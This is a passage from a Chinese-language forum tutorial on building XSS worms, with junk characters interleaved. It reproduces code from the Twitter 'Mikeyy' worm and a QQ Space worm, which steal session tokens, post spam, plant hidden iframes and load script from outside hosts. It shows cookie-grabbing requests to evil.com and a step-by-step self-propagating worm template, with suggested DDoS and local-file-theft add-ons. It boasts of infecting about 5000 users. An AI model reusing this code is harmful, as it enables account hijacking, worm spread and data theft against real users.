9 x- w$ f8 V) }  a  d, s
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

  G! W7 b6 z1 p- d8 d+ H! HXmlHttp.send(null);
8 g6 D7 e* m7 v. V
</script>
! L% M: X/ k$ ?) |复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
# k5 \$ ~2 P) r. W2 m1 k
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


; f; E6 {7 z: S% ?8 q) [
& p0 X; J5 n0 |: d  f/ AXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

; P; D- ?. H7 u8 |3 bXmlHttp.send(null);
- [1 P: _& B; F3 M7 t& [
6 l0 Q0 N4 Y5 g2 [; T<script>
' y* C' }- E* i9 X4 d复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
4 s& u$ J2 p8 l$ G, `& B复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)

, u+ [& _7 P7 p. x$ q- I6 天前 08:27

第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   
6 I) E- }/ `4 l6 [8 C
9 N: V4 ~3 f6 k5 N! H   3. function XHConn(){  
. i2 i! x9 t+ e! c- k
. I% m# Y7 T2 ?. {. D# N   4.   var _0x6687x2,_0x6687x3=false;  
; l" w# X3 ]0 @
/ ?' f0 r) X# p5 k" {- O   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
* f1 \) U+ b' d
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

/ {5 d4 l1 }( L   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

/ ^$ }) @! y/ m5 Q+ M" ?   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
1 N/ H# h5 b9 ^8 v7 s2 M
1 B4 F  r. V% [2 J   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

% D+ U1 d" j4 H" Q5 K3 H+ V$ B: x7 y   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

6 }( N; G# Y6 A- H4 Y, D7 S: a  o   8.   var randomUpdate= new Array();  
7 Y% {3 y& o4 i# G
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
; v2 v# W( `. w/ m  l6 T6 ^2 I. x
$ P8 n& d: p. C( C( T% k' s  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

. g5 c7 T5 ^: m% U: K- v  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
! r3 P5 g) X8 Z: ~7 i
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  y$ ]9 N2 F& Y. u  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

4 M  K" J2 \( q8 z( w  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
- x2 L& \/ z, m3 D
3 l4 z* L# ?. Q, h9 {  j1 R  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

) u' f: W; b% U7 @  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
) z- f. q; ^1 M5 e) L
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

- R5 `+ n5 ], q3 l  @* _+ b  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

) [9 x- c8 p9 F2 h% m- C  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
) P2 ?3 ]) i/ _& e1 S; }' s/ d
9 r1 f* C6 n/ f  p  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     
1 F7 d+ X+ D8 p3 g3 F$ u
3 Q2 t2 a& r2 g" T; x  C/ g  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
5 }0 g( B7 @4 d1 I/ i
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

" D# C2 S% o; `& R. S  27.     

, ^; g( N# m3 X: x: r$ v' P) I  28.   var ajaxConn= new XHConn();  
- G4 k6 h* x% {6 Q6 {6 T
6 \' [" e7 E6 `; `4 T- r  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
, x4 ]. z1 I2 c2 o2 v* H' a
  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
: K0 |9 ^* c5 i4 D. \; Y, ]
  32.   var ajaxConn1= new XHConn();  
, \; _3 x$ ^0 {& V
. i, y& v9 O. c9 G( a6 Z/ J  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
7 R8 u! Z' j( C
4 [2 l+ R9 u1 N% }. i3 V( t  35.   var XSS=urlencode(genXSS);  
- g( L$ V7 S% I0 R, Q
  36.   var ajaxConn2= new XHConn();  
( s! x; B' w; F# {; z
: t" Z' c& A! F) O  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     
( @& |4 ?/ {' k. H1 g
  39. } ;  
1 S3 Q" t3 q% q) K
  40. setTimeout(wait(),5250);  
$ h* B* y/ k& m: I) ]复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;

4 ?9 w% V  j# V4 y9 B7 h6 G- b

1 u( F. _# B8 e' `3 a+ U/ N0 {var shendu;shendu=4;

9 z/ X+ r6 Q6 x. ?! G( p% ^//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
% D9 E( D+ Q( G5 H
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

7 v+ t1 W% e) _' X. s& W" W! Svar myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;
9 Q+ o8 l+ l. y" z. r
        var gurle=gurl.indexOf("com/");
; I9 G1 Q9 p+ z9 E/ w
  B: n: @) f7 k! |( z  B        gurl=gurl.substring(0,gurle+3);        
* s7 |) |& e, x/ Z, M7 s( |
9 }; _# B0 G6 s, U- \% V        var visitorID=top.document.documentElement.outerHTML;

           var cookieS=visitorID.indexOf("g_iLoginUin = ");

- p- m" H' N1 l( [. r- R        visitorID=visitorID.substring(cookieS+14);

- j) W, X2 y5 t5 c$ s        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);
/ @; M. N5 _& u3 N
: v( r% F+ A9 z3 C9 i! Y# x/ F% ?        get_my_blog(visitorID);

        DOshuamy();

. z% t1 p* J& `  O# u; b2 L

//挂马

) B, m1 s4 e7 J8 b* qfunction DOshuamy(){
+ E5 o# u9 _3 n
+ R1 A1 ?5 L2 |( m4 |var ssr=document.getElementById("veryTitle");
. p( }% W; h6 _) G: i8 h+ d
  q/ X$ N8 p) R6 B- [! Rssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
1 q+ }- q$ f" D0 S9 T: R, a7 s
}

+ x6 Y# ^3 t0 O8 z

//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

/ ~! e* g7 G$ c5 rfunction get_my_blog(visitorID){

; c8 H% H) B& G/ S   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
' M. |" q/ }: M9 A0 A4 J( t$ \2 t7 I
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
$ x- s1 p$ z) V) S  @5 p8 o
   if(xhr){    //成功就执行下面的
* F# t* t2 X: S9 R$ B1 m
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

7 y8 J# d9 u6 O" I/ o" H     xhr.send();guest=xhr.responseText;

+ \* ^$ a. g( f1 [* v     get_my_blogurl(guest);    //执行这个函数
: e1 _* \/ T  z. d$ g9 O$ Q. T
    }
8 n) L6 b4 k% d9 {: ]# y! X2 D
5 _) y3 [; J7 t2 M6 [}

# C9 X+ h3 q8 p+ B
  t) q9 f6 l% M) X; Y/ c8 X
//这里似乎是判断没有登录的
% N  h  U3 A( J
1 X$ q& h4 q) ~& F" Cfunction get_my_blogurl(guest){
/ G: C+ K* W3 k  l
+ J& E6 e/ y8 R( c3 ?' `  var mybloglist=guest;
2 A# t( S1 E. F, H: S" @8 l
) r* t/ F# X  n  var myurls;var blogids;var blogide;
( C( `& L$ s* y% e- \
  g8 U9 D/ B2 P, p2 Z  for(i=0;i<shendu;i++){

, P+ \, o$ F1 f& O     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
( e' ?- \3 S, n% ]
" {( g3 ?$ Q0 I/ |+ ?     if(myurls!=-1){    //找到了就执行下面的

! ?* C* n& D+ {2 _" z* ^- w+ d8 F         mybloglist=mybloglist.substring(myurls+11);

& z# L8 L( C# _  D6 L- x& Q3 Q3 g         myurls=mybloglist.indexOf(')');

% m% ^9 i! U8 ^         myblogid=mybloglist.substring(0,myurls);
5 H( Y7 D: e  @& w; E/ _
        }else{break;}
" S/ n* @; h1 e
6 d% m" `8 a# n# W! x}

- m( A. w( E: ?# `get_my_testself();    //执行这个函数

}
, a- v% y. w( c% G3 t

  u# M2 Y+ P/ z: J" ^: I
9 p+ ^/ b4 S4 I* S: v5 W* {/ m//这里往哪跳就不知道了
: D# f) Q" K0 W6 H9 b* _
9 G* w& i4 ^4 ~' Kfunction get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

- B  q- o! x% ], N0 v3 W      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
6 ?5 H" @9 A# N8 U* w2 z
              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
& v! @4 Y- L/ z$ d! q. p- o
5 P8 W! s! v. ?2 a5 j5 r# z              guest2=xhr2.responseText;
& @# E: x6 z0 q6 R
0 u6 \* d% C2 V* E              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
$ J' h& p3 U$ q- b: o5 x
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
2 t# R/ }1 C2 U( z; `! z0 [2 Y
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

( h% E+ |$ W2 F% S6 s2 p  ?                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
6 B: |5 R2 c+ A7 S
                break;

9 c: G0 p  E% }% C! l$ J               }
" Y4 ]' K' Y) }: V
              if(mycheckit=="-1"){

                targetblogurlid=myblogid;

- B. y! t( M7 a7 t                add_js(visitorID,targetblogurlid,gurl);    //执行它

1 l* |) h' {& B& h; i4 s$ h- I& F# s                break;
6 S5 Y' Q7 W( L' B% A  m* E+ W
               }

        }      

9 N: {+ B+ J6 }- S$ M3 P; u}
7 v( D5 m: a3 e3 f0 D% F, B9 x1 l# I
}


4 Q8 R$ W* T$ [7 O; w
//--------------------------------------  

. K1 l! }6 x" t# Q1 T; M//根据浏览器创建一个XMLHttpRequest对象

. Z" H! a5 P& N7 c( yfunction createXMLHttpRequest(){
3 P% r5 h& `8 G3 O
    var XMLhttpObject=null;  

' q( B& N) G$ I! H    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
6 k! f" [0 [. _+ [/ Y
    else  

) D+ O' Q3 x* c      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

9 Z1 f! M& B$ f% ]        for(var i=0;i<MSXML.length;i++)  

        {  

) ]: D/ o  W* |8 P# B$ M            try  
- k2 g, c5 f- j. R* x7 e# r
8 K* r5 l" w# x            {  
5 E) n/ |+ d, x' x  z2 n' t- o
                XMLhttpObject=new ActiveXObject(MSXML);  

8 n# X# D9 L: T$ g                break;  

            }  

            catch (ex) {  
, i, m, E; j/ R" A6 G
8 h3 @% W1 y3 v& U7 }            }  

         }  
4 N3 ?  Q% a2 v, G
      }

return XMLhttpObject;

, \. X' W6 G! Q1 Z+ m2 I; g}  
1 e. B; G& W  u9 N  Q: v1 K
7 H, n: P* U( K- }- b2 Y
+ x, a' U5 |4 y4 H9 Q8 F/ M
//这里就是感染部分了

9 H9 D4 P: w& M" K( B& N6 Lfunction add_js(visitorID,targetblogurlid,gurl){
5 s" k& x8 L! R+ t9 T7 h
) h1 `. w+ Z0 j7 j3 @  |var s2=document.createElement('script');
% l- Y& n6 R  Q& v, |  l" P
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
+ N9 E! S% Z2 A: I5 T  y4 {* v
s2.type='text/javascript';
2 b* J8 d& b6 U. J
6 F$ k% R6 F* V- ^document.getElementsByTagName('head').item(0).appendChild(s2);

9 \2 L. D4 s4 d$ [9 `* g& K}
6 X2 |8 n1 ]) z# m8 q
2 O" a8 m4 ]4 c, R5 a

function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
/ G  U) ]5 p* z, `, h
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
5 |( J- _7 @# q/ r" F
s2.type='text/javascript';

0 e1 a+ @; Z. m& N; k. B' odocument.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

( a# y3 ?) [# K% `7 W2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
+ P$ g2 G8 e# h5 D* V
! `+ {# u( h3 a; [综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

4 b% P! P  c0 w  S9 n首先,自然是判断不同浏览器,创建不同的对象var request = false;
6 Z" p' @# S1 U  B7 `3 {( V  `9 s
" }% [  t' Z( f& }if(window.XMLHttpRequest) {
  N/ t, H6 b0 ^6 `
6 |7 I1 _# a" z! Drequest = new XMLHttpRequest();

- O) Y9 w1 o! M5 c& aif(request.overrideMimeType) {
) T6 S. }' Y( r9 d7 Q( _, {# P
, Y- @$ q+ G0 V: D" yrequest.overrideMimeType('text/xml');

1 O9 q6 S* S$ d+ Y}
  Q: l4 g% Z  R/ @8 H
% U7 G/ q/ `/ o: ]6 E0 _- t' ?} else if(window.ActiveXObject) {
4 X; h) H/ S, [! P0 M9 G& E6 |
$ q, A7 p7 J* x) q( o. M% |- svar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
7 y* [. E/ l% \; Q/ E9 n# c
try {

) F' h) l, x/ _) \6 x2 r" Arequest = new ActiveXObject(versions);

; w6 n# H: {& M0 o# {& K} catch(e) {}
% s4 Z+ p9 Q/ ]: i
2 W* ~2 p+ g% u/ d0 Z: F}
: G, p; ]8 ~$ @  u
}

# G$ B  s7 M: s7 w/ O! H" b$ `xmlHttpReq=request;
. `) B6 p1 N2 U: a+ i; b: }复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
8 ~; x; a* T: a4 n2 _& C# A
        var Browser_Name=navigator.appName;
7 Y1 L% r4 g3 v6 L
        var Browser_Version=parseFloat(navigator.appVersion);

        var Browser_Agent=navigator.userAgent;
3 D7 X1 S4 B6 f/ v1 o
        

0 J8 S1 g2 d+ W6 k        var Actual_Version,Actual_Name;
8 Z$ E- F7 S/ H% R4 n6 ]; l
        
- b) ?! V2 u+ z1 h* U
$ @8 n" m2 E/ V3 v        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
6 u& _0 O2 n. o0 W
5 [4 {+ ]1 J3 K. i8 C& v% w' Q& d% D+ e        
+ g  H/ n) a1 M- P: x* Z
$ |% G% N1 u/ M, I) Y0 x. z        if(is_NN){

            if(Browser_Version>=5.0){
* x0 u& e0 |0 B9 l! }7 g
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
9 U6 W* M6 a% u  \# K3 t


                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
! y+ k3 K1 D$ V  \
$ }- z$ ]- C: n) T                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: J% D+ e6 s7 @( i; D
. W9 x2 M  ~9 s# w# u, v% }            }

. R. X/ E2 y  Y; K            else{
% a6 k$ A+ }; z5 H2 s5 N/ R4 `) C
+ D- o; S+ O  I# m. {* A                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
& }" ~& ?4 L7 H' k( F8 Q$ `
* M" `! r' a$ h- g9 _            }

- ?2 A9 u3 M3 @. Z7 v/ s        }

        else if(is_IE){

  b. _+ _0 m, W. {7 c$ n8 }- B            var Version_Start=Browser_Agent.indexOf("MSIE");

, n% J: u6 B, z. X: q            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
8 C0 Z8 n0 \7 Z1 Z7 a
            Actual_Name=Browser_Name;
, z7 f* d: W; m5 Z3 ?! R0 q
( n% F1 @9 i- u% J  P' ]9 n) h            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

* u; G  e0 {9 E4 M( ~                Actual_Name+="(Maxthon)";
$ z% [# o$ l2 @+ V
            }
& l, Y/ d8 K/ g  W, q1 ~+ C9 t
) L9 r  r2 r9 z( d4 }- n+ {  t            else if(Browser_Agent.indexOf("Opera")!=-1){
! T( ~: I4 c; R$ M* Q
$ R* r1 ?: u/ ?- S7 Z: C! Y3 M                Actual_Name="Opera";

) ^/ f6 y' f$ b/ N- I& ^                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
/ M- Z+ d7 }0 O- }* b  @
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }
! N* \8 f3 i! B) t
        else if(is_Ch){

$ N6 D9 y/ P3 V( @: Y  s7 p" N            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

; y. p1 p7 D6 c3 D1 K/ k, x            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

            
7 A' a4 n0 @! u; q; p8 u
            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

7 R& d, O5 J$ e. E# Z2 D' W7 \            }

+ j4 c/ k& T; i9 C) s! T' u            else if(Browser_Agent.indexOf("Opera")!=-1){
* Z* }6 S0 S, @3 o  r( n3 X( y
9 M2 J, K4 D6 ~( Y" `3 Z+ @7 P) E                Actual_Name="Opera";
% l( D/ l& w' D" A( [
. ^+ \* @- ~3 C1 ?                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
( C2 |' k9 G, ^. |' Z
            }
% B( K/ N0 @3 A/ k4 I$ d. k( |: V, U
        }

        else{
5 o0 V- y& I  T# @- R0 |
' G% ~7 r$ A( a0 D9 ]& y6 c            Actual_Name="Unknown Navigator"
2 u* |2 i' f! _+ e# x6 m$ O6 F
4 F0 ?5 z/ u; H3 B' G7 P* l            Actual_Version="Unknown Version"
0 ^# r2 ]2 T* [$ u/ q& T
7 \7 j3 W# H2 q" o  N        }
, Q% r: T# d: S/ c! M' ]

$ h  S" B9 p2 I: i. E) s
# [8 J4 s: _% K; k5 O1 z5 b$ ^        navigator.Actual_Name=Actual_Name;

8 P' L- J, q& v        navigator.Actual_Version=Actual_Version;

% A( \1 w. m6 L: r6 q        

        this.Name=Actual_Name;
: j# Y7 {/ j$ e" |. @
+ k( R- e+ W& S5 Z" [9 i        this.Version=Actual_Version;
4 B) \  A! _) q
    }

1 P& b! N) L3 ]; e' I$ h# f    browserinfo();
8 ?) c6 q; a2 o
' ?3 O8 M$ ^4 g/ Q+ t) R+ l8 B" p# z    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
. }) @" U' ~: c9 {
3 i( ]) j% N8 ]" \$ D0 S    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
. G) \1 U8 {/ T9 i  V! e- a0 C
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

7 J) T$ V. m% ~. T. y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
4 p" |- ?4 v3 X- {# O9 e复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
2 |- c# d' L2 k* o复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

) M* N/ Y6 [1 K1 ^xmlHttpReq.send(null);
# z- F# @0 i+ k7 h8 }
4 J3 u' x9 n2 f4 s) x; i  f4 }var resource = xmlHttpReq.responseText;
$ j+ \/ a9 j# W, H  D
var id=0;var result;
% d! j9 N% t6 d' x4 _# I
" {% y2 t) P  O5 ]: e- Yvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
: f2 s# N3 [/ d
) Q% M( T: k: }; Lwhile ((result = patt.exec(resource)) != null)  {
0 [) s& y8 }8 n7 t
id++;

* e% p% o+ d; d9 B, y4 ^}
  M4 A4 f8 D9 P1 u8 f. K4 G复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
) a; {  ]* S9 z' l, D5 }
( z: s9 c% @6 Qvar post="wd="+wd;
0 X: \  h, r/ m9 I0 K7 w# o/ G
. @9 y$ b, q& K4 `+ @xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

2 d: s5 ?8 G: G. }, kxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

5 x5 A+ g/ [* M% R0 rxmlHttpReq.setRequestHeader("content-length",post.length);
. U5 y( N1 E& a5 F! d' d, r* F
; w7 `& _0 X, n/ @xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
( ]$ d& ~0 D% {4 m( m3 ~7 P) Y
xmlHttpReq.send(post);
0 A: L( H3 n6 f+ S/ k1 e
}
& q  R! {# w9 H) R复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
/ t& v4 \: B6 S0 t
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

. B" Q, P  c9 |: H- yvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
5 G" {2 I% {3 {7 H* J
* ^* q( }4 z# O# T$ g8 T! AxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

- C3 _- ?0 z5 LxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

" ]9 q+ ~! W& `/ m  n" J5 W6 RxmlHttpReq.setRequestHeader("content-length",post.length);
9 y2 L% x; q* a, z& Y
) @: R. ~% e% _7 D" V. h7 a/ nxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

. A) r: E; U- x; ~5 }

本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
! X) C7 ^) {( {" i  F操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
  P& I3 `5 c# r, t, x( A

; T% `5 l3 s. X. a9 D9 {1 Z
0 J" M  ^+ \7 e3 n( s, s' j
% O5 z. W4 f0 V# S+ f4 a



8 H* D" Z7 G9 C" U9 ^- `本文引用文档资料:
+ L- I1 s4 S; x  P
; D; @* o" n) u* d3 y' ["HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
2 {& U  r+ W" U! QXeye Team http://xeye.us/